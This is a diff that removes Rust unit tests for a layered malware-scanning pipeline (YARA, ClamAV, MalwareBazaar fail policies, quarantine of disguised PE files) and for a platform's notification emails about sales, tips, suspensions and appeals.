| 969 | - | /// Create a minimal ScanPipeline with no external deps (no YARA, no ClamAV, no MalwareBazaar). | |
| 970 | - | /// Wrapped in `Arc` because `scan` consumes `Arc<Self>` (see `pub async fn scan`). | |
| 971 | - | fn make_pipeline() -> std::sync::Arc<ScanPipeline> { | |
| 972 | - | std::sync::Arc::new(ScanPipeline { | |
| 973 | - | yara_rules: None, | |
| 974 | - | yara_rule_count: 0, | |
| 975 | - | yara_min_rule_files: 0, | |
| 976 | - | clamav_socket: None, | |
| 977 | - | clamav_max_scan_bytes: None, | |
| 978 | - | malwarebazaar_enabled: false, | |
| 979 | - | urlhaus_enabled: false, | |
| 980 | - | abuse_ch_auth_key: None, | |
| 981 | - | metadefender_api_key: None, | |
| 982 | - | }) | |
| 983 | - | } | |
| 984 | - | ||
| 985 | - | /// SEC-S2: a corpus that compiled fewer rule files than the configured floor | |
| 986 | - | /// is degraded coverage masquerading as a live layer, boot must fail closed. | |
| 987 | - | #[tokio::test] | |
| 988 | - | async fn assert_live_refuses_degraded_yara_corpus() { | |
| 989 | - | let mut compiler = yara_x::Compiler::new(); | |
| 990 | - | compiler | |
| 991 | - | .add_source(r#"rule r { strings: $a = "x" condition: $a }"#) | |
| 992 | - | .unwrap(); | |
| 993 | - | let pipeline = std::sync::Arc::new(ScanPipeline { | |
| 994 | - | yara_rules: Some(compiler.build()), | |
| 995 | - | yara_rule_count: 1, | |
| 996 | - | yara_min_rule_files: 2, | |
| 997 | - | clamav_socket: None, | |
| 998 | - | clamav_max_scan_bytes: None, | |
| 999 | - | malwarebazaar_enabled: false, | |
| 1000 | - | urlhaus_enabled: false, | |
| 1001 | - | abuse_ch_auth_key: None, | |
| 1002 | - | metadefender_api_key: None, | |
| 1003 | - | }); | |
| 1004 | - | let err = pipeline | |
| 1005 | - | .assert_live() | |
| 1006 | - | .await | |
| 1007 | - | .expect_err("degraded corpus must refuse boot"); | |
| 1008 | - | assert!( | |
| 1009 | - | err.contains("YARA corpus degraded"), | |
| 1010 | - | "unexpected error: {err}" | |
| 1011 | - | ); | |
| 1012 | - | } | |
| 1013 | - | ||
| 1014 | - | /// The complement: a corpus meeting the floor boots, with YARA counted live. | |
| 1015 | - | #[tokio::test] | |
| 1016 | - | async fn assert_live_accepts_corpus_meeting_floor() { | |
| 1017 | - | let mut compiler = yara_x::Compiler::new(); | |
| 1018 | - | compiler | |
| 1019 | - | .add_source(r#"rule r { strings: $a = "x" condition: $a }"#) | |
| 1020 | - | .unwrap(); | |
| 1021 | - | let pipeline = std::sync::Arc::new(ScanPipeline { | |
| 1022 | - | yara_rules: Some(compiler.build()), | |
| 1023 | - | yara_rule_count: 3, | |
| 1024 | - | yara_min_rule_files: 3, | |
| 1025 | - | clamav_socket: None, | |
| 1026 | - | clamav_max_scan_bytes: None, | |
| 1027 | - | malwarebazaar_enabled: false, | |
| 1028 | - | urlhaus_enabled: false, | |
| 1029 | - | abuse_ch_auth_key: None, | |
| 1030 | - | metadefender_api_key: None, | |
| 1031 | - | }); | |
| 1032 | - | pipeline | |
| 1033 | - | .assert_live() | |
| 1034 | - | .await | |
| 1035 | - | .expect("a corpus meeting the floor must boot"); | |
| 1036 | - | } | |
| 1037 | - | ||
| 1038 | - | #[tokio::test] | |
| 1039 | - | async fn pipeline_clean_download_passes() { | |
| 1040 | - | let pipeline = make_pipeline(); | |
| 1041 | - | let result = pipeline | |
| 1042 | - | .clone() | |
| 1043 | - | .scan(b"just some file content".to_vec(), FileType::Download) | |
| 1044 | - | .await; | |
| 1045 | - | assert_eq!(result.status, FileScanStatus::Clean); | |
| 1046 | - | assert_eq!(result.file_size, 22); | |
| 1047 | - | assert!(!result.sha256.is_empty()); | |
| 1048 | - | assert_eq!(result.layers.len(), 12); | |
| 1049 | - | } | |
| 1050 | - | ||
| 1051 | - | #[tokio::test] | |
| 1052 | - | async fn pipeline_unrecognized_audio_quarantined() { | |
| 1053 | - | let pipeline = make_pipeline(); | |
| 1054 | - | // Unrecognized data claimed as audio should be rejected by content_type layer | |
| 1055 | - | let result = pipeline | |
| 1056 | - | .clone() | |
| 1057 | - | .scan(b"audio data here".to_vec(), FileType::Audio) | |
| 1058 | - | .await; | |
| 1059 | - | assert_eq!(result.status, FileScanStatus::Quarantined); | |
| 1060 | - | } | |
| 1061 | - | ||
| 1062 | - | #[tokio::test] | |
| 1063 | - | async fn pipeline_clean_cover_passes() { | |
| 1064 | - | let pipeline = make_pipeline(); | |
| 1065 | - | // PNG magic bytes | |
| 1066 | - | let png = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]; | |
| 1067 | - | let result = pipeline.clone().scan(png.to_vec(), FileType::Cover).await; | |
| 1068 | - | assert_eq!(result.status, FileScanStatus::Clean); | |
| 1069 | - | } | |
| 1070 | - | ||
| 1071 | - | #[tokio::test] | |
| 1072 | - | async fn pipeline_pe_as_audio_quarantined() { | |
| 1073 | - | let pipeline = make_pipeline(); | |
| 1074 | - | // PE magic bytes, content-type layer should detect application/* and fail | |
| 1075 | - | let pe_header = b"MZ\x90\x00\x03\x00\x00\x00"; | |
| 1076 | - | let result = pipeline | |
| 1077 | - | .clone() | |
| 1078 | - | .scan(pe_header.to_vec(), FileType::Audio) | |
| 1079 | - | .await; | |
| 1080 | - | assert_eq!(result.status, FileScanStatus::Quarantined); | |
| 1081 | - | // Verify content_type layer produced the fail | |
| 1082 | - | let content_type_layer = result | |
| 1083 | - | .layers | |
| 1084 | - | .iter() | |
| 1085 | - | .find(|l| l.layer == "content_type") | |
| 1086 | - | .unwrap(); | |
| 1087 | - | assert_eq!(content_type_layer.verdict, LayerVerdict::Fail); | |
| 1088 | - | } | |
| 1089 | - | ||
| 1090 | - | #[tokio::test] | |
| 1091 | - | async fn pipeline_pe_as_cover_quarantined() { | |
| 1092 | - | let pipeline = make_pipeline(); | |
| 1093 | - | let pe_header = b"MZ\x90\x00\x03\x00\x00\x00"; | |
| 1094 | - | let result = pipeline | |
| 1095 | - | .clone() | |
| 1096 | - | .scan(pe_header.to_vec(), FileType::Cover) | |
| 1097 | - | .await; | |
| 1098 | - | assert_eq!(result.status, FileScanStatus::Quarantined); | |
| 1099 | - | } | |
| 1100 | - | ||
| 1101 | - | #[tokio::test] | |
| 1102 | - | async fn pipeline_sha256_is_deterministic() { | |
| 1103 | - | let pipeline = make_pipeline(); | |
| 1104 | - | let data = b"deterministic hash test"; | |
| 1105 | - | let r1 = pipeline | |
| 1106 | - | .clone() | |
| 1107 | - | .scan(data.to_vec(), FileType::Download) | |
| 1108 | - | .await; | |
| 1109 | - | let r2 = pipeline | |
| 1110 | - | .clone() | |
| 1111 | - | .scan(data.to_vec(), FileType::Download) | |
| 1112 | - | .await; | |
| 1113 | - | assert_eq!(r1.sha256, r2.sha256); | |
| 1114 | - | } | |
| 1115 | - | ||
| 1116 | - | #[tokio::test] | |
| 1117 | - | async fn pipeline_skips_optional_layers_when_unconfigured() { | |
| 1118 | - | let pipeline = make_pipeline(); | |
| 1119 | - | let result = pipeline | |
| 1120 | - | .clone() | |
| 1121 | - | .scan(b"test".to_vec(), FileType::Download) | |
| 1122 | - | .await; | |
| 1123 | - | ||
| 1124 | - | let yara = result.layers.iter().find(|l| l.layer == "yara").unwrap(); | |
| 1125 | - | assert_eq!(yara.verdict, LayerVerdict::Skip); | |
| 1126 | - | ||
| 1127 | - | let clamav = result.layers.iter().find(|l| l.layer == "clamav").unwrap(); | |
| 1128 | - | assert_eq!(clamav.verdict, LayerVerdict::Skip); | |
| 1129 | - | ||
| 1130 | - | let mb = result | |
| 1131 | - | .layers | |
| 1132 | - | .iter() | |
| 1133 | - | .find(|l| l.layer == "malwarebazaar") | |
| 1134 | - | .unwrap(); | |
| 1135 | - | assert_eq!(mb.verdict, LayerVerdict::Skip); | |
| 1136 | - | ||
| 1137 | - | let uh = result.layers.iter().find(|l| l.layer == "urlhaus").unwrap(); | |
| 1138 | - | assert_eq!(uh.verdict, LayerVerdict::Skip); | |
| 1139 | - | } | |
| 1140 | - | ||
| 1141 | - | #[tokio::test] | |
| 1142 | - | async fn pipeline_always_produces_12_layers() { | |
| 1143 | - | let pipeline = make_pipeline(); | |
| 1144 | - | for file_type in [FileType::Audio, FileType::Cover, FileType::Download] { | |
| 1145 | - | let result = pipeline.clone().scan(b"data".to_vec(), file_type).await; | |
| 1146 | - | // 11 base layers + the recursive archive-interior layer (archive_nested). | |
| 1147 | - | assert_eq!( | |
| 1148 | - | result.layers.len(), | |
| 1149 | - | 12, | |
| 1150 | - | "Expected 12 layers for {file_type:?}" | |
| 1151 | - | ); | |
| 1152 | - | } | |
| 1153 | - | } | |
| 1154 | - | ||
| 1155 | - | #[test] | |
| 1156 | - | fn suspicion_present_on_fail() { | |
| 1157 | - | let layers = vec![pass("content_type"), fail("yara")]; | |
| 1158 | - | assert!(suspicion_present(&layers)); | |
| 1159 | - | } | |
| 1160 | - | ||
| 1161 | - | #[test] | |
| 1162 | - | fn suspicion_present_on_fail_closed_error() { | |
| 1163 | - | let layers = vec![pass("content_type"), err("archive")]; | |
| 1164 | - | assert!(suspicion_present(&layers)); | |
| 1165 | - | } | |
| 1166 | - | ||
| 1167 | - | #[test] | |
| 1168 | - | fn no_suspicion_when_fail_open_error_only() { | |
| 1169 | - | // External-layer errors are operational noise, not malware signals; | |
| 1170 | - | // they must not invoke MetaDefender. | |
| 1171 | - | let layers = vec![pass("content_type"), err("malwarebazaar"), err("urlhaus")]; | |
| 1172 | - | assert!(!suspicion_present(&layers)); | |
| 1173 | - | } | |
| 1174 | - | ||
| 1175 | - | #[test] | |
| 1176 | - | fn no_suspicion_when_all_clean() { | |
| 1177 | - | let layers = vec![pass("content_type"), skip("yara"), pass("structural")]; | |
| 1178 | - | assert!(!suspicion_present(&layers)); | |
| 1179 | - | } | |
| 1180 | - | ||
| 1181 | - | #[tokio::test] | |
| 1182 | - | async fn pipeline_errors_held_for_review() { | |
| 1183 | - | // Errors from fail-closed layers (archive is in-process deterministic) | |
| 1184 | - | // should hold the file for admin review. | |
| 1185 | - | let pipeline = make_pipeline(); | |
| 1186 | - | // Corrupted ZIP magic bytes, archive layer returns Error | |
| 1187 | - | let mut data = vec![0x50, 0x4B, 0x03, 0x04]; | |
| 1188 | - | data.extend_from_slice(&[0xFF; 100]); | |
| 1189 | - | let result = pipeline.clone().scan(data, FileType::Download).await; | |
| 1190 | - | let archive = result.layers.iter().find(|l| l.layer == "archive").unwrap(); | |
| 1191 | - | assert_eq!(archive.verdict, LayerVerdict::Error); | |
| 1192 | - | assert_eq!(result.status, FileScanStatus::HeldForReview); | |
| 1193 | - | } | |
| 1194 | - | ||
| 1195 | - | // Per-layer fail policy tests | |
| 1196 | - | ||
| 1197 | - | fn err(layer: &'static str) -> LayerResult { | |
| 1198 | - | LayerResult { | |
| 1199 | - | layer, | |
| 1200 | - | verdict: LayerVerdict::Error, | |
| 1201 | - | detail: None, | |
| 1202 | - | } | |
| 1203 | - | } | |
| 1204 | - | fn pass(layer: &'static str) -> LayerResult { | |
| 1205 | - | LayerResult { | |
| 1206 | - | layer, | |
| 1207 | - | verdict: LayerVerdict::Pass, | |
| 1208 | - | detail: None, | |
| 1209 | - | } | |
| 1210 | - | } | |
| 1211 | - | fn skip(layer: &'static str) -> LayerResult { | |
| 1212 | - | LayerResult { | |
| 1213 | - | layer, | |
| 1214 | - | verdict: LayerVerdict::Skip, | |
| 1215 | - | detail: None, | |
| 1216 | - | } | |
| 1217 | - | } | |
| 1218 | - | fn fail(layer: &'static str) -> LayerResult { | |
| 1219 | - | LayerResult { | |
| 1220 | - | layer, | |
| 1221 | - | verdict: LayerVerdict::Fail, | |
| 1222 | - | detail: None, | |
| 1223 | - | } | |
| 1224 | - | } | |
| 1225 | - | ||
| 1226 | - | #[test] | |
| 1227 | - | fn yara_tail_unscanned_only_without_backstop() { | |
| 1228 | - | use crate::constants::SCAN_YARA_MAX_BYTES; | |
| 1229 | - | let over = SCAN_YARA_MAX_BYTES + 1; | |
| 1230 | - | // Over the cap, no declared ClamAV coverage → tail unscanned, must hold. | |
| 1231 | - | assert!(yara_tail_unscanned(over, None)); | |
| 1232 | - | // Over the cap, ClamAV coverage present but SHORT of the file (Run #24 | |
| 1233 | - | // MODERATE: clamd reachable but MaxScanSize doesn't reach) → still hold. | |
| 1234 | - | assert!(yara_tail_unscanned(over, Some(over as u64 - 1))); | |
| 1235 | - | // Over the cap, declared coverage reaches the file → ClamAV is a real | |
| 1236 | - | // full-file backstop, don't hold. | |
| 1237 | - | assert!(!yara_tail_unscanned(over, Some(over as u64))); | |
| 1238 | - | assert!(!yara_tail_unscanned(over, Some(u64::MAX))); | |
| 1239 | - | // Within the YARA cap → whole file scanned by YARA regardless of ClamAV. | |
| 1240 | - | assert!(!yara_tail_unscanned(SCAN_YARA_MAX_BYTES, None)); | |
| 1241 | - | assert!(!yara_tail_unscanned(1024, None)); | |
| 1242 | - | } | |
| 1243 | - | ||
| 1244 | - | #[test] | |
| 1245 | - | fn final_status_clean_when_all_pass() { | |
| 1246 | - | let layers = vec![ | |
| 1247 | - | pass("content_type"), | |
| 1248 | - | pass("structural"), | |
| 1249 | - | pass("archive"), | |
| 1250 | - | skip("yara"), | |
| 1251 | - | skip("clamav"), | |
| 1252 | - | skip("malwarebazaar"), | |
| 1253 | - | ]; | |
| 1254 | - | assert_eq!(final_status(&layers), FileScanStatus::Clean); | |
| 1255 | - | } | |
| 1256 | - | ||
| 1257 | - | #[test] | |
| 1258 | - | fn final_status_quarantined_on_any_fail() { | |
| 1259 | - | let layers = vec![pass("content_type"), fail("yara"), skip("clamav")]; | |
| 1260 | - | assert_eq!(final_status(&layers), FileScanStatus::Quarantined); | |
| 1261 | - | } | |
| 1262 | - | ||
| 1263 | - | #[test] | |
| 1264 | - | fn final_status_fail_beats_error() { | |
| 1265 | - | // A Fail anywhere supersedes any Error, regardless of policy. | |
| 1266 | - | let layers = vec![err("malwarebazaar"), fail("yara")]; | |
| 1267 | - | assert_eq!(final_status(&layers), FileScanStatus::Quarantined); | |
| 1268 | - | } | |
| 1269 | - | ||
| 1270 | - | #[test] | |
| 1271 | - | fn final_status_held_on_fail_closed_error() { | |
| 1272 | - | // archive is FailClosed, its Error must hold the file. | |
| 1273 | - | let layers = vec![pass("content_type"), err("archive"), skip("clamav")]; | |
| 1274 | - | assert_eq!(final_status(&layers), FileScanStatus::HeldForReview); | |
| 1275 | - | } | |
| 1276 | - | ||
| 1277 | - | #[test] | |
| 1278 | - | fn final_status_clean_on_fail_open_error_only() { | |
| 1279 | - | // malwarebazaar is FailOpen, its Error must NOT hold the file. | |
| 1280 | - | // This is the regression of 2026-05-10 that motivated the audit. | |
| 1281 | - | let layers = vec![ | |
| 1282 | - | pass("content_type"), | |
| 1283 | - | pass("structural"), | |
| 1284 | - | pass("archive"), | |
| 1285 | - | skip("yara"), | |
| 1286 | - | skip("clamav"), | |
| 1287 | - | err("malwarebazaar"), | |
| 1288 | - | ]; | |
| 1289 | - | assert_eq!(final_status(&layers), FileScanStatus::Clean); | |
| 1290 | - | } | |
| 1291 | - | ||
| 1292 | - | #[test] | |
| 1293 | - | fn final_status_clean_when_all_external_layers_error() { | |
| 1294 | - | // Worst-case external-services outage: every network/daemon layer | |
| 1295 | - | // erroring at once. As long as the in-process layers pass, the file | |
| 1296 | - | // is Clean. Health is surfaced separately via per-layer monitoring. | |
| 1297 | - | let layers = vec![ | |
| 1298 | - | pass("content_type"), | |
| 1299 | - | pass("structural"), | |
| 1300 | - | pass("archive"), | |
| 1301 | - | skip("yara"), | |
| 1302 | - | err("clamav"), | |
| 1303 | - | err("malwarebazaar"), | |
| 1304 | - | ]; | |
| 1305 | - | assert_eq!(final_status(&layers), FileScanStatus::Clean); | |
| 1306 | - | } | |
| 1307 | - | ||
| 1308 | - | #[test] | |
| 1309 | - | fn clamav_incomplete_is_fail_closed_and_holds() { | |
| 1310 | - | // CHRONIC S1: a reachable-but-incomplete clamav scan is emitted under the | |
| 1311 | - | // `clamav_incomplete` layer, which must be FailClosed → HeldForReview, | |
| 1312 | - | // distinct from the FailOpen `clamav` layer used for an unreachable daemon. | |
| 1313 | - | assert_eq!( | |
| 1314 | - | error_policy_for("clamav_incomplete"), | |
| 1315 | - | ErrorPolicy::FailClosed | |
| 1316 | - | ); | |
| 1317 | - | assert_eq!(error_policy_for("clamav"), ErrorPolicy::FailOpen); | |
| 1318 | - | let layers = vec![ | |
| 1319 | - | pass("content_type"), | |
| 1320 | - | pass("structural"), | |
| 1321 | - | pass("archive"), | |
| 1322 | - | skip("yara"), | |
| 1323 | - | err("clamav_incomplete"), | |
| 1324 | - | ]; | |
| 1325 | - | assert_eq!(final_status(&layers), FileScanStatus::HeldForReview); | |
| 1326 | - | } | |
| 1327 | - | ||
| 1328 | - | #[test] | |
| 1329 | - | fn final_status_held_on_unknown_layer_error() { | |
| 1330 | - | // Defensive default: an unknown layer name that errors falls through | |
| 1331 | - | // to FailClosed. This is what catches a new layer added without | |
| 1332 | - | // wiring its policy into `error_policy_for`. | |
| 1333 | - | let layers = vec![ | |
| 1334 | - | pass("content_type"), | |
| 1335 | - | err("brand_new_layer_someone_forgot_to_register"), | |
| 1336 | - | ]; | |
| 1337 | - | assert_eq!(final_status(&layers), FileScanStatus::HeldForReview); | |
| 1338 | - | } | |
| 1339 | - | ||
| 1340 | - | #[test] | |
| 1341 | - | fn error_policy_for_all_known_layers() { | |
| 1342 | - | // Every layer name produced by the pipeline must have an explicit | |
| 1343 | - | // declaration in `error_policy_for`. The default branch is reserved | |
| 1344 | - | // for genuine programmer error (new layer, forgot to register). | |
| 1345 | - | for name in [ | |
| 1346 | - | "content_type", | |
| 1347 | - | "structural", | |
| 1348 | - | "archive", | |
| 1349 | - | "yara", | |
| 1350 | - | "clamav", | |
| 1351 | - | "malwarebazaar", | |
| 1352 | - | ] { | |
| 1353 | - | let policy = error_policy_for(name); | |
| 1354 | - | // Both values are valid; we just want this to not hit the default. | |
| 1355 | - | // If a layer is renamed without updating `error_policy_for`, this | |
| 1356 | - | // test still passes (the rename produces a new unknown name), but | |
| 1357 | - | // the per-layer name tests below catch that. | |
| 1358 | - | let _ = policy; | |
| 1359 | - | } | |
| 1360 | - | } | |
| 1361 | - | ||
| 1362 | - | #[test] | |
| 1363 | - | fn content_type_is_fail_closed() { | |
| 1364 | - | assert_eq!(error_policy_for("content_type"), ErrorPolicy::FailClosed); | |
| 1365 | - | } | |
| 1366 | - | #[test] | |
| 1367 | - | fn structural_is_fail_closed() { | |
| 1368 | - | assert_eq!(error_policy_for("structural"), ErrorPolicy::FailClosed); | |
| 1369 | - | } | |
| 1370 | - | #[test] | |
| 1371 | - | fn archive_is_fail_closed() { | |
| 1372 | - | assert_eq!(error_policy_for("archive"), ErrorPolicy::FailClosed); | |
| 1373 | - | } | |
| 1374 | - | #[test] | |
| 1375 | - | fn yara_is_fail_closed() { | |
| 1376 | - | assert_eq!(error_policy_for("yara"), ErrorPolicy::FailClosed); | |
| 1377 | - | } | |
| 1378 | - | #[test] | |
| 1379 | - | fn clamav_is_fail_open() { | |
| 1380 | - | assert_eq!(error_policy_for("clamav"), ErrorPolicy::FailOpen); | |
| 1381 | - | } |
Lines truncated
| @@ -955,431 +955,4 @@ | |||
| 955 | 955 | } | |
| 956 | 956 | ||
| 957 | 957 | #[cfg(test)] | |
| 958 | - | mod tests { | |
| 959 | - | use super::*; | |
| 960 | - | use crate::email::EmailTransport; | |
| 961 | - | use std::sync::{Arc, Mutex}; | |
| 962 | - | ||
| 963 | - | /// One captured email: (to, subject, html_body, text_body). | |
| 964 | - | type SentEmail = (String, String, String, Option<String>); | |
| 965 | - | ||
| 966 | - | /// In-memory transport that captures sent emails for assertion in tests. | |
| 967 | - | struct CapturingTransport { | |
| 968 | - | sent: Mutex<Vec<SentEmail>>, | |
| 969 | - | } | |
| 970 | - | ||
| 971 | - | impl CapturingTransport { | |
| 972 | - | fn new() -> Self { | |
| 973 | - | Self { | |
| 974 | - | sent: Mutex::new(Vec::new()), | |
| 975 | - | } | |
| 976 | - | } | |
| 977 | - | fn last(&self) -> (String, String, String, Option<String>) { | |
| 978 | - | self.sent | |
| 979 | - | .lock() | |
| 980 | - | .unwrap() | |
| 981 | - | .last() | |
| 982 | - | .cloned() | |
| 983 | - | .expect("no email captured") | |
| 984 | - | } | |
| 985 | - | } | |
| 986 | - | ||
| 987 | - | #[async_trait::async_trait] | |
| 988 | - | impl EmailTransport for CapturingTransport { | |
| 989 | - | async fn send_email(&self, to: &str, subject: &str, body: &str) -> Result<()> { | |
| 990 | - | self.sent.lock().unwrap().push(( | |
| 991 | - | to.to_string(), | |
| 992 | - | subject.to_string(), | |
| 993 | - | body.to_string(), | |
| 994 | - | None, | |
| 995 | - | )); | |
| 996 | - | Ok(()) | |
| 997 | - | } | |
| 998 | - | async fn send_email_with_headers_and_unsub( | |
| 999 | - | &self, | |
| 1000 | - | to: &str, | |
| 1001 | - | subject: &str, | |
| 1002 | - | body: &str, | |
| 1003 | - | _extra_headers: &[(&str, String)], | |
| 1004 | - | unsub_url: Option<&str>, | |
| 1005 | - | ) -> Result<()> { | |
| 1006 | - | self.sent.lock().unwrap().push(( | |
| 1007 | - | to.to_string(), | |
| 1008 | - | subject.to_string(), | |
| 1009 | - | body.to_string(), | |
| 1010 | - | unsub_url.map(String::from), | |
| 1011 | - | )); | |
| 1012 | - | Ok(()) | |
| 1013 | - | } | |
| 1014 | - | async fn send_email_broadcast_with_unsub( | |
| 1015 | - | &self, | |
| 1016 | - | to: &str, | |
| 1017 | - | subject: &str, | |
| 1018 | - | body: &str, | |
| 1019 | - | unsub_url: Option<&str>, | |
| 1020 | - | _send: Option<crate::db::EmailSendId>, | |
| 1021 | - | ) -> Result<()> { | |
| 1022 | - | self.sent.lock().unwrap().push(( | |
| 1023 | - | to.to_string(), | |
| 1024 | - | subject.to_string(), | |
| 1025 | - | body.to_string(), | |
| 1026 | - | unsub_url.map(String::from), | |
| 1027 | - | )); | |
| 1028 | - | Ok(()) | |
| 1029 | - | } | |
| 1030 | - | } | |
| 1031 | - | ||
| 1032 | - | /// A stand-in recipient id for the Optional senders. `client_with_capture` | |
| 1033 | - | /// builds a pool-less client, so `dispatch` sends without consulting a | |
| 1034 | - | /// preference and these tests stay about the composed message. | |
| 1035 | - | fn recipient_id() -> crate::db::UserId { | |
| 1036 | - | crate::db::UserId::from(uuid::Uuid::nil()) | |
| 1037 | - | } | |
| 1038 | - | ||
| 1039 | - | fn client_with_capture() -> (EmailClient, Arc<CapturingTransport>) { | |
| 1040 | - | let transport = Arc::new(CapturingTransport::new()); | |
| 1041 | - | let client = EmailClient::with_transport(transport.clone()); | |
| 1042 | - | (client, transport) | |
| 1043 | - | } | |
| 1044 | - | ||
| 1045 | - | // ── Creator activity ── | |
| 1046 | - | ||
| 1047 | - | #[tokio::test] | |
| 1048 | - | async fn sale_notification_carries_buyer_item_price() { | |
| 1049 | - | let (client, captured) = client_with_capture(); | |
| 1050 | - | client | |
| 1051 | - | .send_sale_notification( | |
| 1052 | - | recipient_id(), | |
| 1053 | - | "seller@example.com", | |
| 1054 | - | Some("Sasha"), | |
| 1055 | - | "buyer42", | |
| 1056 | - | "Cool Album", | |
| 1057 | - | "$10.00", | |
| 1058 | - | Some("https://x/unsub"), | |
| 1059 | - | ) | |
| 1060 | - | .await | |
| 1061 | - | .unwrap(); | |
| 1062 | - | let (to, subject, body, unsub) = captured.last(); | |
| 1063 | - | assert_eq!(to, "seller@example.com"); | |
| 1064 | - | assert!(subject.contains("New sale")); | |
| 1065 | - | assert!(subject.contains("Cool Album")); | |
| 1066 | - | assert!(body.contains("Hi Sasha")); | |
| 1067 | - | assert!(body.contains("buyer42")); | |
| 1068 | - | assert!(body.contains("Cool Album")); | |
| 1069 | - | assert!(body.contains("$10.00")); | |
| 1070 | - | assert_eq!(unsub.as_deref(), Some("https://x/unsub")); | |
| 1071 | - | } | |
| 1072 | - | ||
| 1073 | - | #[tokio::test] | |
| 1074 | - | async fn sale_notification_handles_none_name() { | |
| 1075 | - | // greeting(None) → empty; body should still build coherently. | |
| 1076 | - | let (client, captured) = client_with_capture(); | |
| 1077 | - | client | |
| 1078 | - | .send_sale_notification(recipient_id(), "s@x", None, "buyer", "Item", "$5", None) | |
| 1079 | - | .await | |
| 1080 | - | .unwrap(); | |
| 1081 | - | let (_, _, body, unsub) = captured.last(); | |
| 1082 | - | assert!( | |
| 1083 | - | body.starts_with("Hi,") || body.starts_with("Hi "), | |
| 1084 | - | "body: {body}" | |
| 1085 | - | ); | |
| 1086 | - | assert!(unsub.is_none()); | |
| 1087 | - | } | |
| 1088 | - | ||
| 1089 | - | #[tokio::test] | |
| 1090 | - | async fn tip_notification_with_message_includes_quoted_message() { | |
| 1091 | - | let (client, captured) = client_with_capture(); | |
| 1092 | - | client | |
| 1093 | - | .send_tip_notification( | |
| 1094 | - | recipient_id(), | |
| 1095 | - | "c@x", | |
| 1096 | - | None, | |
| 1097 | - | "Alex", | |
| 1098 | - | "$3", | |
| 1099 | - | Some("Loved it!"), | |
| 1100 | - | None, | |
| 1101 | - | ) | |
| 1102 | - | .await | |
| 1103 | - | .unwrap(); | |
| 1104 | - | let (_, subject, body, _) = captured.last(); | |
| 1105 | - | assert!(subject.contains("Alex tipped you $3")); | |
| 1106 | - | assert!(body.contains("Loved it!")); | |
| 1107 | - | assert!(body.contains("$3")); | |
| 1108 | - | } | |
| 1109 | - | ||
| 1110 | - | #[tokio::test] | |
| 1111 | - | async fn tip_notification_without_message_omits_quote_block() { | |
| 1112 | - | // Pins the `match message { Some => ..., None => ... }` arm split, | |
| 1113 | - | // without-message branch must NOT include the "with a message:" preamble. | |
| 1114 | - | let (client, captured) = client_with_capture(); | |
| 1115 | - | client | |
| 1116 | - | .send_tip_notification(recipient_id(), "c@x", None, "Alex", "$3", None, None) | |
| 1117 | - | .await | |
| 1118 | - | .unwrap(); | |
| 1119 | - | let (_, _, body, _) = captured.last(); | |
| 1120 | - | assert!( | |
| 1121 | - | !body.contains("with a message"), | |
| 1122 | - | "without-message branch leaked: {body}" | |
| 1123 | - | ); | |
| 1124 | - | assert!(body.contains("$3")); | |
| 1125 | - | } | |
| 1126 | - | ||
| 1127 | - | // ── Platform notices: suspension / appeal / termination / shutdown ── | |
| 1128 | - | ||
| 1129 | - | #[tokio::test] | |
| 1130 | - | async fn suspension_includes_reason() { | |
| 1131 | - | let (client, captured) = client_with_capture(); | |
| 1132 | - | client | |
| 1133 | - | .send_suspension_notification("u@x", Some("Sam"), "Spam reports") | |
| 1134 | - | .await | |
| 1135 | - | .unwrap(); | |
| 1136 | - | let (_, subject, body, _) = captured.last(); | |
| 1137 | - | assert_eq!(subject, "Your account has been suspended"); | |
| 1138 | - | assert!(body.contains("Hi Sam")); | |
| 1139 | - | assert!(body.contains("Reason: Spam reports")); | |
| 1140 | - | assert!(body.contains("appeal")); | |
| 1141 | - | assert!(body.contains("export your data")); | |
| 1142 | - | } | |
| 1143 | - | ||
| 1144 | - | #[tokio::test] | |
| 1145 | - | async fn appeal_decision_approved_uses_reinstated_outcome() { | |
| 1146 | - | // Pins the `if decision == "approved"` branch. | |
| 1147 | - | let (client, captured) = client_with_capture(); | |
| 1148 | - | client | |
| 1149 | - | .send_appeal_decision("u@x", None, "approved", "Reviewed and reversed.") | |
| 1150 | - | .await | |
| 1151 | - | .unwrap(); | |
| 1152 | - | let (_, _, body, _) = captured.last(); | |
| 1153 | - | assert!( | |
| 1154 | - | body.contains("Your account has been reinstated"), | |
| 1155 | - | "approved branch should say reinstated: {body}" | |
| 1156 | - | ); | |
| 1157 | - | assert!( | |
| 1158 | - | !body.contains("Your appeal has been denied"), | |
| 1159 | - | "approved branch must NOT also say denied: {body}" | |
| 1160 | - | ); | |
| 1161 | - | assert!(body.contains("Reviewed and reversed.")); | |
| 1162 | - | } | |
| 1163 | - | ||
| 1164 | - | #[tokio::test] | |
| 1165 | - | async fn appeal_decision_denied_uses_denied_outcome() { | |
| 1166 | - | let (client, captured) = client_with_capture(); | |
| 1167 | - | client | |
| 1168 | - | .send_appeal_decision("u@x", None, "denied", "Reviewed and upheld.") | |
| 1169 | - | .await | |
| 1170 | - | .unwrap(); | |
| 1171 | - | let (_, _, body, _) = captured.last(); | |
| 1172 | - | assert!(body.contains("Your appeal has been denied")); | |
| 1173 | - | assert!(!body.contains("Your account has been reinstated")); | |
| 1174 | - | } | |
| 1175 | - | ||
| 1176 | - | #[tokio::test] | |
| 1177 | - | async fn appeal_decision_anything_other_than_approved_is_denied() { | |
| 1178 | - | // Pins `decision == "approved"` (exact match, case-sensitive). | |
| 1179 | - | let (client, captured) = client_with_capture(); | |
| 1180 | - | client | |
| 1181 | - | .send_appeal_decision("u@x", None, "APPROVED", "uppercase") | |
| 1182 | - | .await | |
| 1183 | - | .unwrap(); | |
| 1184 | - | let (_, _, body, _) = captured.last(); | |
| 1185 | - | assert!( | |
| 1186 | - | body.contains("Your appeal has been denied"), | |
| 1187 | - | "case-sensitive `approved`, uppercase must NOT pass: {body}" | |
| 1188 | - | ); | |
| 1189 | - | } | |
| 1190 | - | ||
| 1191 | - | #[tokio::test] | |
| 1192 | - | async fn content_removal_subjects_with_title() { | |
| 1193 | - | let (client, captured) = client_with_capture(); | |
| 1194 | - | client | |
| 1195 | - | .send_content_removal("c@x", Some("Dev"), "Beat Pack 1", "Copyright claim") | |
| 1196 | - | .await | |
| 1197 | - | .unwrap(); | |
| 1198 | - | let (_, subject, body, _) = captured.last(); | |
| 1199 | - | assert_eq!(subject, "Content removed: Beat Pack 1"); | |
| 1200 | - | assert!(body.contains("Hi Dev")); | |
